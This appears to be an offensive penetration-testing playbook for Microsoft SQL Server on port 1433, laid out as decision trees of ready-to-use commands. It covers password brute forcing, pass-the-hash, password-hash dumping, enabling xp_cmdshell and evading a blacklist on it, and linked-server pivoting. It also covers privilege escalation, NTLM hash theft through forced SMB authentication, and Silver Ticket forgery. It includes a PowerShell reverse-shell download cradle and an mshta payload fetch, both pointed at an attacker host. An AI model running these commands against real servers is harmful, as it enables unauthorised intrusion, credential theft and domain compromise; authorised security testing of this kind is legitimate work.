MSSQL Penetration Testing Methodology (1433)
- 攻击大类:C09 Web应用漏洞利用
Further Reading
- xp_cmdshell enabling/bypass, login hashes and credential objects, linked server enumeration and exploitation, privilege escalation SQL, NTLM stealing techniques, Silver Ticket forgery -> read references/mssql-techniques.md
- SPN discovery, privilege simulation escalation chains, cross-domain linked server exploitation, OLE/Agent Job/Proxy/External Scripts alternative execution, NTLM stealing relay -> read references/mssql-exploitation.md
Overall Decision Tree
Port 1433 found open
├─ Phase 1: Service Discovery
│ ├─ Nmap scripts to probe the version and configuration
│ ├─ Determine the instance name (default MSSQLSERVER / named instance)
│ └─ Classify the environment type
│ ├─ On-premises deployment -> full attack surface (OS command execution, privilege escalation)
│ └─ DBaaS (Azure SQL / RDS) -> no xp_cmdshell, focus on the data layer
├─ Phase 2: Authentication Testing
│ ├─ sa account with an empty password / default credentials
│ ├─ Password brute force (hydra / nxc / MSSQLPwner)
│ └─ Windows authentication (Pass-the-Hash / Kerberos)
├─ Phase 3: Database Enumeration
│ ├─ Version, users, permissions, database list
│ ├─ Sensitive data search
│ └─ Password hash extraction
├─ Phase 4: xp_cmdshell Command Execution
│ ├─ Check/enable xp_cmdshell
│ ├─ Execute OS commands
│ └─ Alternatives (OLE / Python / CLR / Agent Job)
├─ Phase 5: Linked Server Exploitation
│ ├─ Enumerate linked servers
│ ├─ Run remote queries/commands through the link
│ └─ Extract linked server passwords
├─ Phase 6: Privilege Escalation
│ ├─ db_owner + TRUSTWORTHY -> sysadmin
│ ├─ IMPERSONATE permission abuse
│ └─ Local privilege escalation (SeImpersonatePrivilege -> Potato)
└─ Phase 7: NTLM Hash Theft
├─ xp_dirtree / xp_subdirs / xp_fileexist forced authentication
├─ Responder / impacket-smbserver to capture hashes
└─ Silver Ticket forgery (after capturing the service account hash)
Phase 1: Service Discovery
1.1 Port and Version Probing
# Nmap MSSQL full script scan
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
# Metasploit instance discovery
msf> use auxiliary/scanner/mssql/mssql_ping
1.2 Environment Classification
MSSQL environment type
├─ On-premises deployment / VM
│ ├─ Full attack surface: xp_cmdshell, file read/write, registry, privilege escalation
│ └─ Continue through the full Phase 2-7 flow
└─ DBaaS (Azure SQL / AWS RDS / GCP Cloud SQL)
├─ No xp_cmdshell, no TRUSTWORTHY
├─ Focus: SQL injection logic, IAM misconfiguration, data exfiltration
└─ Skip the OS-related attacks in Phase 4/6
Phase 2: Authentication Testing
2.1 Authentication Method Decision Tree
MSSQL authentication testing
├─ 1) sa with an empty password
│ ├─ nmap --script ms-sql-empty-password -p 1433 <IP>
│ └─ nxc mssql <IP> -u sa -p ''
├─ 2) Default/common credentials
│ ├─ sa:sa, sa:password, sa:Password1, sa:P@ssw0rd
│ └─ nxc mssql <IP> -u sa -p passwords.txt
├─ 3) Password brute force (mind the lockout policy!)
│ ├─ hydra -t 4 -l sa -P wordlist.txt <IP> mssql
│ └─ MSSQLPwner: mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
├─ 4) Windows domain authentication
│ ├─ mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASS>@<IP>
│ └─ nxc mssql <IP> -u <USER> -p <PASS> -d <DOMAIN>
└─ 5) Pass-the-Hash
└─ nxc mssql <IP> -u <USER> -H <NTHASH> -d <DOMAIN>
2.2 Client Connection Tools
# Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USER>:<PASS>@<IP>
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USER>:<PASS>@<IP>
# sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
sqsh -S <IP> -U .\<Username> -P <Password> -D <Database> # local authentication
Phase 3: Database Enumeration
3.1 Basic Information Gathering
-- Version information
SELECT @@version;
-- Current user
SELECT user_name();
SELECT SYSTEM_USER;
-- Whether the user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- Database list
SELECT name FROM master.dbo.sysdatabases;
-- Table list
SELECT * FROM <db>.INFORMATION_SCHEMA.TABLES;
-- Users and logins
SELECT sp.name AS login, sp.type_desc AS login_type, sl.password_hash,
sp.create_date, sp.modify_date,
CASE WHEN sp.is_disabled = 1 THEN 'Disabled' ELSE 'Enabled' END AS status
FROM sys.server_principals sp
LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id
WHERE sp.type NOT IN ('G', 'R') ORDER BY sp.name;
3.2 Permission Enumeration
-- Server-level permissions of the current user
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
-- Database-level permissions of the current user
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
-- Members of the sysadmin role
EXEC sp_helpsrvrolemember 'sysadmin';
-- Who can execute xp_cmdshell
EXEC sp_helprotect 'xp_cmdshell';
3.3 Password Hash Extraction
-- Obtain login hashes (requires sysadmin or CONTROL SERVER)
SELECT * FROM master.sys.syslogins;
3.4 RID Brute Force to Enumerate Domain Users
# Enumerate domain users by brute forcing RIDs through MSSQL
nxc mssql <IP> --local-auth -u <user> -p '<pass>' --rid-brute 5000
nxc mssql <IP> -u <DOMAIN>\\<user> -p '<pass>' --rid-brute 10000
-> read references/mssql-techniques.md for the complete enumeration queries
Phase 4: xp_cmdshell Command Execution
4.1 xp_cmdshell Decision Tree
Check command execution capability
├─ 1) Try xp_cmdshell directly
│ ├─ EXEC master..xp_cmdshell 'whoami'
│ ├─ Success -> execute commands
│ └─ Failure -> try to enable it
├─ 2) Enable xp_cmdshell (requires sysadmin)
│ ├─ EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
│ ├─ EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
│ └─ Run EXEC master..xp_cmdshell 'whoami' again
├─ 3) xp_cmdshell is blacklisted -> variable bypass
│ └─ DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'whoami'
├─ 4) xp_cmdshell unavailable -> alternatives
│ ├─ OLE Automation (sp_OACreate + sp_OAMethod)
│ ├─ Python/R scripts (sp_execute_external_script)
│ ├─ CLR Assembly (.NET DLL loading)
│ ├─ SQL Agent Job
│ └─ autoadmin_task_agents (remote DLL loading)
└─ 5) Reverse shell
└─ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://<ATTACKER>:8000/rev.ps1") | powershell -noprofile'
4.2 Remote Execution via nxc
# CMD command
nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -x "whoami"
# PowerShell command
nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -X '$PSVersionTable'
4.3 MSSQLPwner Command Execution
# Direct execution
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth exec hostname
# Execution through a linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://<ATTACKER>/malicious.hta" -command-execution-method sp_oacreate
# Custom CLR Assembly
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
-> read references/mssql-techniques.md for detailed OLE / Python / CLR / Agent Job methods
Phase 5: Linked Server Exploitation
5.1 Linked Server Enumeration and Exploitation Decision Tree
MSSQL access obtained
├─ Enumerate linked servers
│ ├─ EXEC sp_linkedservers
│ ├─ SELECT * FROM sys.servers
│ └─ MSSQLPwner: enum_links
├─ Links discovered
│ ├─ Check permissions on the link
│ │ ├─ The link runs as sa -> full control of the remote instance
│ │ └─ Low privileges -> enumerate remote data
│ ├─ Run queries through the link
│ │ ├─ SELECT * FROM OPENQUERY([LINKED_SRV], 'SELECT @@version')
│ │ └─ EXEC ('SELECT @@version') AT [LINKED_SRV]
│ ├─ Enable xp_cmdshell through the link
│ │ └─ EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT [LINKED_SRV]
│ └─ Linked chain hopping (A -> B -> C)
│ └─ Metasploit: exploit/windows/mssql/mssql_linkcrawler
└─ Extract linked server passwords
├─ Requires local administrator privileges
├─ Enable DAC (-T7806 startup parameter)
└─ -> read references/mssql-techniques.md #linked server password extraction
Phase 6: Privilege Escalation
6.1 Privilege Escalation Decision Tree
Currently not sysadmin
├─ Check db_owner + TRUSTWORTHY
│ ├─ Find TRUSTWORTHY databases
│ │ SELECT a.name, b.is_trustworthy_on FROM master..sysdatabases a
│ │ INNER JOIN sys.databases b ON a.name=b.name
│ ├─ Confirm whether the current user is db_owner
│ │ USE <db>; SELECT rp.name, mp.name FROM sys.database_role_members drm
│ │ JOIN sys.database_principals rp ON drm.role_principal_id=rp.principal_id
│ │ JOIN sys.database_principals mp ON drm.member_principal_id=mp.principal_id
│ ├─ db_owner + TRUSTWORTHY -> create a stored procedure to escalate
│ │ └─ CREATE PROCEDURE sp_elevate WITH EXECUTE AS OWNER AS
│ │ EXEC sp_addsrvrolemember '<user>','sysadmin'
│ └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_dbowner
├─ Check IMPERSONATE permissions
│ ├─ SELECT b.name FROM sys.server_permissions a
│ │ INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id
│ │ WHERE a.permission_name='IMPERSONATE'
│ ├─ Can impersonate sa -> EXECUTE AS LOGIN = 'sa'
│ └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_execute_as
└─ Already sysadmin + OS shell
└─ SeImpersonatePrivilege -> Potato family privilege escalation
├─ RoguePotato
├─ PrintSpoofer
└─ JuicyPotato / GodPotato
-> read references/mssql-techniques.md for the complete privilege escalation SQL statements
Phase 7: NTLM Hash Theft
7.1 NTLM Theft Decision Tree
MSSQL query execution rights obtained
├─ Start the listener
│ ├─ sudo responder -I tun0
│ └─ sudo impacket-smbserver share ./ -smb2support
├─ Trigger SMB authentication (force the target to connect to the attacker)
│ ├─ xp_dirtree '\\<ATTACKER>\any\thing'
│ ├─ EXEC master.dbo.xp_dirtree '\\<ATTACKER>\any\thing'
│ ├─ EXEC master..xp_subdirs '\\<ATTACKER>\anything'
│ ├─ EXEC master..xp_fileexist '\\<ATTACKER>\anything'
│ └─ MSSQLPwner: mssqlpwner <creds>@<IP> ntlm-relay <ATTACKER>
├─ Capture the NetNTLMv2 hash
│ └─ Crack offline: hashcat -m 5600 hash.txt wordlist.txt
└─ Silver Ticket attack (advanced)
├─ Recover the service account password from the captured hash
├─ Compute the NTLM hash
├─ Obtain the domain SID + privileged group RID
├─ ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOM> \
│ -spn MSSQLSvc/<fqdn>:1433 -groups <RID> <user>
└─ KRB5CCNAME=<user>.ccache mssqlclient.py -no-pass -k <fqdn>
7.2 Permission Checks
-- Check which users can execute the UNC path functions
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
File Read/Write Operations
Reading Files
-- OPENROWSET to read a file (requires the ADMINISTER BULK OPERATIONS permission)
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
-- Check permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER')
WHERE permission_name='ADMINISTER BULK OPERATIONS'
OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
Writing Files
File writing (requires administrator privileges)
├─ Enable OLE Automation Procedures
│ sp_configure 'show advanced options', 1; RECONFIGURE;
│ sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
└─ Create the file via sp_OACreate
└─ -> read references/mssql-techniques.md #file writing
Registry Operations
-- Read the registry (requires sysadmin)
EXEC master.sys.xp_regread 'HKEY_LOCAL_MACHINE',
'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent',
'WorkingDirectory';
-- Check permissions
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
Metasploit Module Quick Reference
MSSQL Metasploit modules
├─ Discovery: auxiliary/scanner/mssql/mssql_ping
├─ Enumeration
│ ├─ admin/mssql/mssql_enum
│ ├─ admin/mssql/mssql_enum_domain_accounts
│ ├─ admin/mssql/mssql_enum_sql_logins
│ ├─ auxiliary/scanner/mssql/mssql_hashdump
│ └─ auxiliary/scanner/mssql/mssql_schemadump
├─ Privilege escalation
│ ├─ admin/mssql/mssql_escalate_dbowner
│ ├─ admin/mssql/mssql_escalate_execute_as
│ └─ exploit/windows/mssql/mssql_linkcrawler
├─ Command execution
│ ├─ admin/mssql/mssql_exec
│ └─ exploit/windows/mssql/mssql_payload
├─ NTLM theft: auxiliary/admin/mssql/mssql_ntlm_stealer
└─ Local authentication bypass: windows/manage/mssql_local_auth_bypass